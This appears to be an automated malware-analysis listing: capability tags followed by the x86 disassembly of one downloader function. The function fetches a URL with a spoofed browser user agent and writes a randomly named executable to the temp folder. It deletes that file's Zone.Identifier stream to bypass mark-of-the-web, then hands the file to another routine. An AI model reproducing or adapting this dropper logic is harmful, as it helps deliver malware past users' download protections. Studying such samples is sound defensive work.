Function at 0x401190
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x740
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
mov byte [ebp - 0x311], 0
push 0x104
lea eax, [ebp - 0x310]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x310]
push edx
push 0x404478
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_83.0.4103.116_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0
je 0x401362
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x534]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
je 0x401355
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0xffffffff
je 0x401348
lea ecx, [ebp - 0x530]
push ecx
push 0x103
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4012de
cmp dword [ebp - 0x530], 0
je 0x4012de
push 0
lea ecx, [ebp - 0x52c]
push ecx
mov edx, dword [ebp - 0x530]
push edx
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x31c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40128b
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x740]
push eax
push 0x404578
lea ecx, [ebp - 0x528]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x528]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x740]
push eax
call fcn.004010e0
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x401348
mov byte [ebp - 0x311], 1
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x534]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [ebp - 0x311]
test edx, edx
jne 0x401439
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
add edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x310]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
lea ecx, [ebp - 0x740]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x401439
lea eax, [ebp - 0x740]
push eax
push str._s:Zone.Identifier
lea ecx, [ebp - 0x528]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x528]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x740]
push eax
call fcn.004010e0
add esp, 4
mov esp, ebp
pop ebp
ret